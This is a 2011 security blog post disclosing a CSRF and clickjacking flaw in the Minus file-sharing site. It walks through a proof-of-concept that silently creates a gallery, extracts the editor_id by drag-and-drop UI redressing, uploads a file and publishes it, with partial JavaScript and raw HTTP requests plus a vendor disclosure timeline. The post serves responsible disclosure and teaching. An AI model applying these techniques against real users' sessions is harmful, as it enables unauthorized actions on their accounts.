Friday, September 9, 2011 silent arbitrary file upload


Minus ( - now moved to ) is a simple sharing platform that allows users to share, publish and discover photos, docs, music, videos and more. This relatively new site has gained media attention and was recently featured in, Sitepoint, Lifehacker, Wall Street Journal etc. Minus recently raised $1M from IDG Capital Partners.
A few months ago I've found a way to silently upload and publish a file of attacker's choosing on behalf of a logged in Minus user, similar to what I found on Flickr. Today I present the vulnerability details with demonstration of an attack. The demo was first publicly disclosed at SecurityByte 2011.

The exploit is another example of HTML5 arbitrary file upload vulnerability, this time though it requires user interaction as the exploit uses UI redressing content extraction. The exploit is Firefox only.



A few parts of the exploit don't work for now as during the months vendor updated its code substantially - this text represents the vulnerability when it was detected and reported first. Here's the source code for the exploit if you want to improve.

Vulnerabilities description

Minus website was vulnerable to CSRF attacks - it was possible to forge requests to the application, including file upload request. Additionally, a user of the application could be tricked into revealing sensitive data using UI-redressing, allowing attacker to undertake further actions on user's behalf.
The presented Proof of Concept exploited those vulnerabilities. It consists of multiple steps:
  1. create a gallery
  2. fetch gallery editor_id
  3. upload a file
  4. rename a gallery
  5. make it public
To help you understand the API we're contacting with, here's docs. Let's go!

Create a gallery

Nothing fancy - Gallery creation URL is vulnerable to CSRF. Creating gallery request is created using HTML5 cross origin resource sharing (CORS).
var xhr = new XMLHttpRequest();"GET", '', true);
    xhr.withCredentials = "true";

    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {
          if (xhr.responseText != "") {
            alert(JSON.parse(xhr.responseText).msg); // display response.
        } else if (xhr.status == 0) {
We're using withCredentials to include cookies. next_step() will launch after server returned a response. This will produce a HTTP request like so:
GET /api/CreateGallery HTTP/1.1
Cookie: sessionid=deadbeef;
Cookies are included, also the Referer points to attacker's site. The target website does not issue any CORS-enabling HTTP headers, so while we can send (more or less) arbitrary POST/GET requests with user cookies, the attacker won't get access to the response. But the gallery (private by default) will be created nonetheless.

Get gallery editor_id
To be able to modify a gallery (e.g. upload files), we need it's editor_id. While the server responded with it, we didn't get the answer (CORS limitation). Luckily editor_id can also be found in HTML rendered by the Minus home page for a user:
<!-- homepage -->
<div class="bottom_left_options">
  <a href="/mZ3cbJIjIKBGR">Edit</a>
  <input type="hidden" value="Z3cbJIjIKBGR" name="gallery_editor_url">
  <select class="gaccess_select public">
    <option value="public" selected="selected">Public</option>
    <option value="private">Private</option>

Due to same origin policy, we can't read the Minus site contents. But the site is vulnerable to clickjacking(no X-Frame-Options, no frame-busting), so Minus home page can be embedded in an iframe on attackers's site, like this:

The frame is positioned on 'edit' link of topmost gallery (which just so happens is a gallery silently created by an attacker).  The link href is[gallery_editor_id]. Now it's just a simple game - the trash can is overlaid by invisible textarea, so dragging paper to trashcan is actually dragging a link to a textarea, which will copy the link href there (Mozilla only, Webkit disallows cross origin drag&drop). Then some Javascript trickery and we have editor_id! That's an example of content extraction UI redressing attack.

Upload a file

HTML5 cross-domain arbitrary file upload technique is used - it's even easier as we don't need to make a MIME form, Minus accepts a binary file in POST body contents.
POST /api/UploadItem_Web/?editor_id=Z3cbJIjIKBGR&key=OK&filename=cake.jpg HTTP/1.1
Proxy-Connection: keep-alive
Content-Type: text/plain
Content-Length: 23478
Cookie: sessionid=deadbeef


And so on...

then we simply make other CORS requests to rename the gallery and make it public. We don't care about the responses, as there are no one-time tokens in them - only things needed are the sessionid cookie (supplied by the browser with xhr.useCredentials) and editor_id.

How can we fix this?


7.06.2011 - Issue discovered
8.06.2011 - Exploit ready, notified vendor, vendor response
9.06.2011 - Additional details sent to vendor
17.06.2011 - Asked vendor for the estimated fix timeline, no response
30.06.2011 - No fix timelime given
22.08.2011 - Parts of the exploit stop working due to unknown changes in the vendor code
22.08.2011 - Vendor notified of the public disclosure date
06.09.2011 - Public disclosure at SecurityByte 2011

Final notes

UI-Redressing attacks are getting more and more powerful, this time effectively leading to token disclosure, allowing for CSRF. Yet they still don't get enough attention from browser vendors (i'm looking at you, Mozilla!) and web developers. It's exactly the reason of why I'm trying to prepare a reasonable proof of concept scenarios whenever I encounter such a vulnerability. Seeing is believing.

Also - HTML5 sites are a minefield from the security perspective. I've discovered just a small issue that allowed a file to be uploaded silently - and I've already found the way to exploit this on and Minus in less than a month. One pretty big site and a trending one. And they're the only one I've checked. Just like DOM-XSS (as proved by DOMinator), the stuff is out there, vulnerable, waiting for attention.

No comments: